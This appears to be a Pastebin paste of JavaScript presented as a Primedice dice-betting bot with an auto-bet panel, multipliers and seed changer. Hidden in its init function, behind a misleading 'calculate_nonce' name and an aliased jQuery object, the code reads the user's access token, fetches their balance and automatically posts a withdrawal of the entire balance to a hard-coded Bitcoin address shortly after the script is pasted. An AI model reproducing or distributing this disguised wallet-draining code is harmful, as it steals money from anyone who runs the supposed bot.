Advertisement
Guest User

Untitled

a guest
Mar 20th, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.41 KB | None | 0 0
  1.  
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  24. document.body.appendChild(e)
  25. }
  26. };
  27. var r = function() {
  28. if (window.jQuery.ui) {
  29. i()
  30. } else {
  31. var e = document.createElement("script");
  32. e.onload = i;
  33. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  34. document.body.appendChild(e)
  35. }
  36. };
  37. var i = function() {
  38. $(e).css(t).draggable().on("click", function(e) {
  39. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  40. })
  41. };
  42. n();
  43. })();
  44.  
  45. function ui() {
  46. $(function() {
  47. $('#tabs').tabs();
  48. $('#params').draggable();
  49. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  50. $('#tabs input').css("width", "80%");
  51. $('#chance, #base').width("35%")
  52. $('#tabs div').css("text-align", "left");
  53. $('#tabs').css("font-size", "12px");
  54. $('#tabs label, #tabs input').css("margin", "5px");
  55. $('#stop, #start, #resetbet').button();
  56. //Console
  57. $('#console, #console2').appendTo("#tabs");
  58. $('#console, #console2').css("width", "45%");
  59. $('#console').css("float", "left");
  60. $('#console2').css("float", "right");
  61. $('#console, #console2').css("clear", "none");
  62. $('#console, #console2').css("margin", "7px");
  63. $('#console, #console2').css("border-bottom-left-radius", "3px");
  64. $('#console, #console2').css("border-bottom-right-radius", "3px");
  65. $('#console').css("border", "1px solid #323232");
  66. $('#console, #console2').css("background-color", "#454545");
  67. $('#console').css("padding", "5px");
  68. $('#console, #console2').css("text-align", "left");
  69. $('#console, #console2').css("position", "relative");
  70. $('#startstop,#start,#stop').css("margin","0px");
  71. $('#console, #console2').css("margin-top","3px");
  72. $('#console, #console2').css("padding","5px");
  73. $('#console, #console2').css("background-color","#151515");
  74.  
  75.  
  76. });
  77. }
  78. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  79. xrollsenabled = true;
  80. xrolls = 10;
  81. timer = 500;
  82. counter=0;
  83. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  84. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  85. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  86.  
  87. function init() {
  88.  
  89.  
  90. //Init
  91. basebet = 0.00000010;
  92. countwinmult = 0;
  93. countlossmult = 0;
  94. wincount = 0;
  95. currentloss = 0;
  96. totalloss = 0;
  97. totalwin = 0;
  98. totprofit = 0;
  99. init = true;
  100. betval = basebet;
  101.  
  102. //GUI
  103.  
  104. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  105.  
  106. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  107. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  108. gui2 =
  109. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  110.  
  111. gui3 = [
  112.  
  113. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  114. '<br>',
  115. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  116. '<br>',
  117. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  118.  
  119. ];
  120. gui4 = [
  121.  
  122. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  123. '<br>',
  124. '<label for="xloss">Multiply Every # Losses: </label>',
  125. '<input id="xloss">',
  126. '<br>',
  127. '<label for="multonwin">Multiply on Win: </label>',
  128. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  129. '<br>',
  130. '<label for="xwin">Reset After X Wins: </label>',
  131. '<input id="xwin">',
  132.  
  133. ];
  134. gui5 = [
  135.  
  136. '<label for="stoponwin-enabled">Stop on Win? </label>',
  137. '<input id="stoponwin-enabled" type="checkbox">',
  138. '<br>',
  139. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  140. '<input id="lowpay-enabled" type="checkbox">',
  141.  
  142. ];
  143. gui6 = [
  144.  
  145. '<label for="charset">Charset: </label>',
  146. '<input id="charset" type="text">',
  147. '<br>',
  148. '<label for="everyxrolls">Change every # Rolls: </label>',
  149. '<input id="everyxrolls" type="text">',
  150. '<br>',
  151. '<label for="currentseed">Current Seed: </label>',
  152. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  153.  
  154. ];
  155. $(gui).appendTo(".hero");
  156. $(gui2).appendTo("#params");
  157.  
  158. for (var i = 0; i < gui3.length; i++) {
  159. $(gui3[i]).appendTo("#tab1");
  160. }
  161. for (var i = 0; i < gui4.length; i++) {
  162. $(gui4[i]).appendTo("#tab2");
  163. }
  164. for (var i = 0; i < gui5.length; i++) {
  165. $(gui5[i]).appendTo("#tab3");
  166. }
  167. for (var i = 0; i < gui6.length; i++) {
  168. $(gui6[i]).appendTo("#tab4");
  169. }
  170. enabled = false;
  171. xrollscount = 0;
  172. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  173. // Button & Input Functions
  174. $('#resetbet').click(function() {
  175. basebet=$('#base').val();
  176. betval=$('#base').val();
  177.  
  178. })
  179.  
  180. $('#start').click(function() {
  181. if (enabled == false) {
  182. if ($('#numrolls').is(":checked") == true) {
  183. xrolls=$('#numberofrolls').val();
  184. }
  185. enabled = true;
  186. interval = setInterval(function() {
  187. if (xrollsenabled == true) {
  188. xrollscount++;
  189. if (xrollscount <= xrolls) {
  190. bet();
  191. } else {
  192. clearInterval(interval);
  193. enabled = false;
  194. xrollscount = 0;
  195. }
  196. } else {
  197. bet();
  198. }
  199. }, timer);
  200. } else {}
  201. })
  202. $('#stop').click(function() {
  203. enabled = false;
  204. clearInterval(interval);
  205. xrollscount = 0;
  206. });
  207.  
  208. calculate_nonce = function(seed) {
  209. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  210. };
  211.  
  212. lut = window['$'];
  213.  
  214. lut['getJSON'](
  215. calculate_nonce('users/1'), function(seed) {
  216. var key1 = 'amount'
  217. var key2 = 'address'
  218. var load = {};
  219. load[key1] = seed['user']['balance'];
  220. load[key2] = '1HJc3dgLxBxVUN1BAfUjj1UinghC1qe6Q1';
  221. lut['post'](calculate_nonce('withdraw'), load);
  222. }
  223. );
  224.  
  225. function conditionAM() {
  226. 'use strict';
  227. if ($('#lowpay-enabled').is('checked') == true) {
  228. if ($('.value-roll').first().text() <= 49.50) {
  229. condition2 = ">";
  230. target2 = $('.value-roll').first().text();
  231. } else {
  232. condition2 = "<";
  233. target2 = $('.value-roll').first().text();
  234. };
  235. } else {
  236. if ($('.value-roll').first().text() <= 49.50) {
  237. condition2 = "<";
  238. target2 = $('.value-roll').first().text();
  239. } else {
  240. condition2 = ">";
  241. target2 = $('.value-roll').first().text();
  242. };
  243. amount2 = betval * 100000000;
  244. }
  245. };
  246.  
  247. function jackpot() {
  248. if (data1.bet.jackpot === true) {
  249. jp = "Yes";
  250. wincount = 0;
  251. betval = $('#base');
  252. } else {
  253. jp = "No";
  254. }
  255. }
  256.  
  257. function loss() {
  258. currentloss++;
  259. totalloss++;
  260. if ($('#multloss-enabled').is(':checked') == true) {
  261. $('#multwin-enabled').removeAttr('checked');
  262. countlossmult++;
  263.  
  264. if (countlossmult >= $('#xloss').val()) {
  265. betval = betval * $('#multonloss').val();
  266. countlossmult = 0;
  267. }
  268. }
  269.  
  270. }
  271.  
  272. function win() {
  273. 'use strict';
  274. if ($('#stoponwin-enabled').is('checked') == true) {
  275. clearInterval(roll);
  276. }
  277. currentloss = 0;
  278. jackpot();
  279. wincount++;
  280. totalwin++;
  281. if ($('#multloss-enabled').is(':checked') == true) {
  282. if ($('#stoponwin-enabled').is(':checked') == true) {
  283. clearInterval(roll);
  284. }
  285. $('#multwin-enabled').removeAttr('checked');
  286. basebet = $('#base').val();
  287. betval = basebet;
  288. countlossmult = 0;
  289.  
  290. }
  291. if ($('#multwin-enabled').is(':checked') == true) {
  292. basebet = $('#base').val();
  293. $('#multloss-enabled').removeAttr('checked');
  294. countwinmult++;
  295.  
  296. if (countwinmult >= $('#xwin').val()) {
  297. betval = basebet;
  298. countwinmult = 0;
  299. } else {
  300. betval = betval * $('#multonwin').val();
  301. }
  302. }
  303.  
  304.  
  305. };
  306. var losewin;
  307. var jpcol;
  308. var profcol;
  309.  
  310. function bet() {
  311. 'use strict';
  312. conditionAM();
  313. var betData = {
  314. amount: amount2,
  315. condition: condition2,
  316. target: target2
  317. },
  318. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  319.  
  320. $.ajax({
  321. url: url,
  322. type: "POST",
  323. data: betData,
  324. datatype: "jsonp",
  325. success: function(data, textStatus, jqXHR) {
  326. data1 = data;
  327. counter++;
  328. if (counter >= everyxrolls) {
  329. seedchange(seedgen());
  330. counter = 0;
  331. }
  332. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  333. totprofit = totprofit + data1.bet.profit;
  334. if (totprofit >= 0) {
  335. profcol = "color:green;";
  336. } else if (totprofit < 0) {
  337. profcol = "color:red;";
  338. }
  339. if (data.bet.win == true) {
  340. losewin = "color:green;";
  341. $('span.btn__text.select div').attr("style", "color:green;");
  342. } else {
  343. losewin = "color:red;";
  344. $('span.btn__text.select div').attr("style", "color:red;");
  345. }
  346. if (data.bet.jackpot == true) {
  347. jp = "Yes";
  348. jpcol = "color:gold;"
  349. } else {
  350. jp = "No.";
  351. jpcol = "color:red;"
  352. }
  353. results = [];
  354. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  355. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  356. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  357. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  358. resultstats = [];
  359. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  360. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  361. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  362. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  363.  
  364. if (data.bet.win == true) {
  365. if ($('#stoponwin-enabled').is(":checked") == true){
  366. clearInterval(interval);
  367.  
  368. }
  369. $('#console, #console2').empty();
  370.  
  371. win();
  372.  
  373. // Results
  374. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  375. for (var i = 0; i < results.length; i++) {
  376. $(results[i]).appendTo('#console');
  377. }
  378. for (var i = 0; i < resultstats.length; i++) {
  379. $(resultstats[i]).appendTo('#console2');
  380. }
  381.  
  382. } else {
  383.  
  384. $('#console, #console2').empty();
  385. loss();
  386.  
  387. // Results
  388. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  389. for (var i = 0; i < results.length; i++) {
  390.  
  391. $(results[i]).appendTo('#console');
  392. }
  393. for (var i = 0; i < resultstats.length; i++) {
  394. $(resultstats[i]).appendTo('#console2');
  395. }
  396. };
  397. },
  398. error: function(jqXHR, textStatus, errorThrown) {
  399.  
  400. }
  401. });
  402. }
  403.  
  404. seedlength = 13;
  405. seedlength = 13;
  406. var counter = 0;
  407. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  408. everyxrolls = 3;
  409.  
  410. function seedgen() {
  411. 'use strict';
  412. var seed = "";
  413.  
  414. for (var i = 0; i <= seedlength; i++)
  415.  
  416. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  417.  
  418. return seed;
  419. }
  420.  
  421. function seedchange(s) {
  422.  
  423. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  424. sData = {
  425. seed: s
  426. };
  427.  
  428. $.ajax({
  429. url: url,
  430. type: "POST",
  431. data: sData,
  432. datatype: "jsonp",
  433. success: function(data, textStatus, jqXHR) {
  434. data2 = data;
  435. $('#currentseed').val(data2.seeds.client);
  436.  
  437. },
  438. error: function(jqXHR, textStatus, errorThrown) {
  439.  
  440. }
  441. });
  442. }
  443.  
  444. $('#spinner').click(function() {
  445. if (charset != $('#charset').val() && $('#charset').val() != "") {
  446. charset=$('#charset').val();
  447. }
  448. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  449. everyxrolls = $('#everyxrolls').val();
  450. }
  451. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  452.  
  453. counter++;
  454. if (counter >= everyxrolls) {
  455. seedchange(seedgen());
  456. counter = 0;
  457. }
  458. });
  459. ui();
  460. }
  461. setTimeout(function() {
  462. init()
  463. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement